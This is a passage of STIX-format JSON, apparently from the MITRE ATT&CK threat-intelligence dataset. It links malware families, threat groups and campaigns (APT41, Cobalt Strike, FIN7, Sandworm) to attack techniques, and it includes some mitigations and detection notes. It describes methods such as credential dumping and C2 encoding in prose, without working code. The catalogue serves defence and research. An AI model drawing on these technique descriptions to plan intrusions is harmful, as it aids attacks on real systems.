2018)","relationship_type":"uses","source_ref":"malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cbb40150-0414-4b36-a28b-f7d2088f535a","created":"2021-03-31T14:26:00.974Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kubernetes RBAC","description":"Kubernetes. (n.d.). Role Based Access Control Good Practices. Retrieved March 8, 2023.","url":"https://kubernetes.io/docs/concepts/security/rbac-good-practices/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-15T16:10:49.625Z","description":"Enforce the principle of least privilege by limiting dashboard visibility to only the required users. When using Kubernetes, avoid giving users wildcard permissions or adding users to the `system:masters` group, and use `RoleBindings` rather than `ClusterRoleBindings` to limit user privileges to specific namespaces.(Citation: Kubernetes RBAC)","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cbb5c722-bc07-4f35-a8cd-d6e1acc839d5","type":"relationship","created":"2020-09-24T14:35:41.592Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.537Z","description":"[FatDuke](https://attack.mitre.org/software/S0512) has the ability to execute PowerShell scripts.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cbb686ae-3dc8-4e91-80fc-075209505425","type":"relationship","created":"2020-05-26T20:33:11.746Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-05-26T20:33:11.746Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has the ability to download additional payloads from C2.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cbba2f85-d5f4-4306-a219-5eea6c59dbb6","type":"relationship","created":"2020-05-13T19:39:41.811Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky MoleRATs April 2019","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}],"modified":"2020-06-24T19:11:10.774Z","description":"[Molerats](https://attack.mitre.org/groups/G0021) used various implants, including those built with JS, on target machines.(Citation: Kaspersky MoleRATs April 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cbbaed8a-28ce-4cea-bbb9-ea200dcf9e66","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cbbbc655-e5a7-40e9-be62-7f29727b9f0c","created":"2019-09-23T22:53:30.172Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"apt41_dcsocytec_dec2022","description":"DCSO CyTec Blog. (2022, December 24). APT41 — The spy who failed to encrypt me. Retrieved June 13, 2024.","url":"https://medium.com/@DCSO_CyTec/apt41-the-spy-who-failed-to-encrypt-me-24fc0f49cad1"},{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"},{"source_name":"Group IB APT 41 June 2021","description":"Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.","url":"https://www.group-ib.com/blog/colunmtk-apt41/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T15:40:35.627Z","description":"[APT41](https://attack.mitre.org/groups/G0096) has used hashdump, [Mimikatz](https://attack.mitre.org/software/S0002), Procdump, and the Windows Credential Editor to dump password hashes from memory and authenticate to other user accounts.(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)(Citation: apt41_dcsocytec_dec2022)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cbbfb291-9c39-4fab-a2ac-c1f076c7c367","type":"relationship","created":"2019-01-29T17:59:44.427Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.","url":"https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf","source_name":"GDATA Zeus Panda June 2017"}],"modified":"2020-03-18T15:41:19.841Z","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) can launch an interface where it can execute several commands on the victim’s PC.(Citation: GDATA Zeus Panda June 2017)","relationship_type":"uses","source_ref":"malware--198db886-47af-4f4c-bff5-11b891f85946","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cbc18998-67f4-493a-b0d3-4aa50da3c407","type":"relationship","created":"2021-03-12T16:55:09.342Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-03-12T16:55:09.342Z","description":"[GoldMax](https://attack.mitre.org/software/S0588) has set an execution trigger date and time, stored as an ASCII Unix/Epoch time value.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cbc1d2d8-aac7-498a-a034-f0a672977c11","type":"relationship","created":"2019-01-31T01:07:58.601Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2019-07-17T13:11:38.436Z","description":"[APT32](https://attack.mitre.org/groups/G0050) used the ipconfig /all command to gather the IP address from the system.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cbc251b7-5541-408f-b11d-c57d600fc8cf","created":"2022-09-07T14:19:54.989Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T14:54:35.575Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors collected information via [Empire](https://attack.mitre.org/software/S0363), which sent the data back to the adversary's C2.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cbc2cb80-8f07-46dd-b167-3f237e39f39d","type":"relationship","created":"2020-05-26T20:36:16.477Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-05-27T13:35:36.771Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has the ability to gather metadata from a file and to search for file and directory names.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cbc4c186-028e-4a24-93ff-5f2bb7edd98a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto DNS Requests","description":"Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"}],"modified":"2020-03-17T02:10:14.738Z","description":"[Pisloader](https://attack.mitre.org/software/S0124) obfuscates files by splitting strings into smaller sub-strings and including \"garbage\" strings that are never used. The malware also uses return-oriented programming (ROP) technique and single-byte XOR to obfuscate data.(Citation: Palo Alto DNS Requests)","relationship_type":"uses","source_ref":"malware--b96680d1-5eb3-4f07-b95c-00ab904ac236","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cbcb2ce0-29b6-47ba-9dc0-2154a31ca3a1","created":"2024-03-28T15:44:43.244Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye TRITON 2019","description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T15:15:47.607Z","description":"During the [C0032](https://attack.mitre.org/campaigns/C0032) campaign, [TEMP.Veles](https://attack.mitre.org/groups/G0088) used timestomping to modify the $STANDARD_INFORMATION attribute on tools.(Citation: FireEye TRITON 2019)","relationship_type":"uses","source_ref":"campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cbd7249a-918d-436b-805a-0199eed6567a","type":"relationship","created":"2022-01-18T17:13:15.057Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Lazarus Under The Hood APR 2017","description":"GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved October 3, 2018.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf"}],"modified":"2022-01-18T17:13:15.057Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used CHM files to move concealed payloads.(Citation: Kaspersky Lazarus Under The Hood APR 2017)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cbdb211a-2772-4905-99f1-0415fb0738b3","type":"relationship","created":"2020-05-21T21:31:34.422Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Pony April 2016","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/","description":"hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."}],"modified":"2020-05-21T21:31:34.422Z","description":"[Pony](https://attack.mitre.org/software/S0453) has been delivered via spearphishing attachments.(Citation: Malwarebytes Pony April 2016)","relationship_type":"uses","source_ref":"malware--222ba512-32d9-49ac-aefd-50ce981ce2ce","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cbe08a78-7997-4aef-9b29-b4b002accbc3","created":"2021-11-22T16:44:34.333Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Profero APT27 December 2020","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.","url":"https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"},{"source_name":"Trend Micro DRBControl February 2020","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:05:38.086Z","description":"[RCSession](https://attack.mitre.org/software/S0662) has the ability to use TCP and UDP in C2 communications.(Citation: Trend Micro DRBControl February 2020)(Citation: Profero APT27 December 2020)","relationship_type":"uses","source_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cbed7d53-5d5f-48ee-a2d0-ee10230d4e4c","created":"2023-09-14T18:13:51.458Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Morphisec Snip3 May 2021","description":"Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. Retrieved September 13, 2023.","url":"https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-14T18:20:54.952Z","description":"[Snip3](https://attack.mitre.org/software/S1086) has the ability to detect Windows Sandbox, VMWare, or VirtualBox by querying `Win32_ComputerSystem` to extract the `Manufacturer` string.(Citation: Morphisec Snip3 May 2021)","relationship_type":"uses","source_ref":"malware--4327aff5-f194-440c-b499-4d9730cc1eab","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cbf2f9fe-e61b-4a04-a135-d1f6c4ec6cc3","created":"2022-09-27T16:40:09.279Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:40:09.279Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used a custom protocol for command and control.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cbf49a08-de8a-483a-9732-230f9cc93002","created":"2022-08-18T18:59:11.143Z","x_mitre_version":"0.1","external_references":[{"source_name":"Google EXOTIC LILY March 2022","url":"https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/","description":"Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[EXOTIC LILY](https://attack.mitre.org/groups/G1011) has gathered targeted individuals' e-mail addresses through open source research and website contact forms.(Citation: Google EXOTIC LILY March 2022)","modified":"2022-08-18T18:59:11.143Z","relationship_type":"uses","source_ref":"intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af","target_ref":"attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cbf79556-91df-45cf-a64b-1dd01025ac8d","type":"relationship","created":"2021-05-20T15:11:18.127Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T20:08:22.746Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can use Base64, URL-safe Base64, or NetBIOS encoding in its C2 traffic.(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cbf7fc6b-ba23-4771-9a32-945cfbf7a72a","created":"2024-03-13T21:11:45.923Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T20:42:54.850Z","description":"[PITSTOP](https://attack.mitre.org/software/S1123) can listen and evaluate incoming commands on the domain socket, created by PITHOOK malware, located at `/data/runtime/cockpit/wd.fd` for a predefined magic byte sequence. [PITSTOP](https://attack.mitre.org/software/S1123) can then duplicate the socket for further communication over TLS.(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"malware--d79b1800-3b5d-4a4f-8863-8251eca793e2","target_ref":"attack-pattern--005cc321-08ce-4d17-b1ea-cb5275926520","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cbf9284f-2f47-4d1f-b708-861b0e1e85b5","type":"relationship","created":"2020-06-19T21:25:43.678Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-29T21:37:55.984Z","description":"[Goopy](https://attack.mitre.org/software/S0477) has the ability to side-load malicious DLLs with legitimate applications from Kaspersky, Microsoft, and Google.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--eac3d77f-2b7b-4599-ba74-948dc16633ad","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cbf95438-c89f-451f-9895-eaeb3fb65104","created":"2020-03-17T19:00:50.258Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN7 Apr 2022","description":"Abdo, B., et al. (2022, April 4). FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7. Retrieved April 5, 2022.","url":"https://www.mandiant.com/resources/evolution-of-fin7"},{"source_name":"FireEye FIN7 Aug 2018","description":"Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"},{"source_name":"Flashpoint FIN 7 March 2019","description":"Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.","url":"https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T18:10:49.062Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) used the command prompt to launch commands on the victim’s machine.(Citation: FireEye FIN7 Aug 2018)(Citation: Flashpoint FIN 7 March 2019)(Citation: Mandiant FIN7 Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cbfa121a-bf32-42fe-917a-d3533a6697bb","created":"2023-03-31T17:34:55.943Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dragos Crashoverride 2018","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-14T13:47:08.738Z","description":"During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) used a script to attempt RPC authentication against a number of hosts.(Citation: Dragos Crashoverride 2018)","relationship_type":"uses","source_ref":"campaign--aa73efef-1418-4dbe-b43c-87a498e97234","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cbfb1a32-4582-4ecb-8a0e-4c76caaa5063","type":"relationship","created":"2021-01-27T16:43:48.406Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."}],"modified":"2021-04-06T22:07:34.012Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has sent e-mails with malicious attachments often crafted for specific targets.(Citation: ATT Sidewinder January 2021)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cbfd307e-ab23-49d0-bda0-83e883d4851a","created":"2022-09-27T18:20:48.383Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining 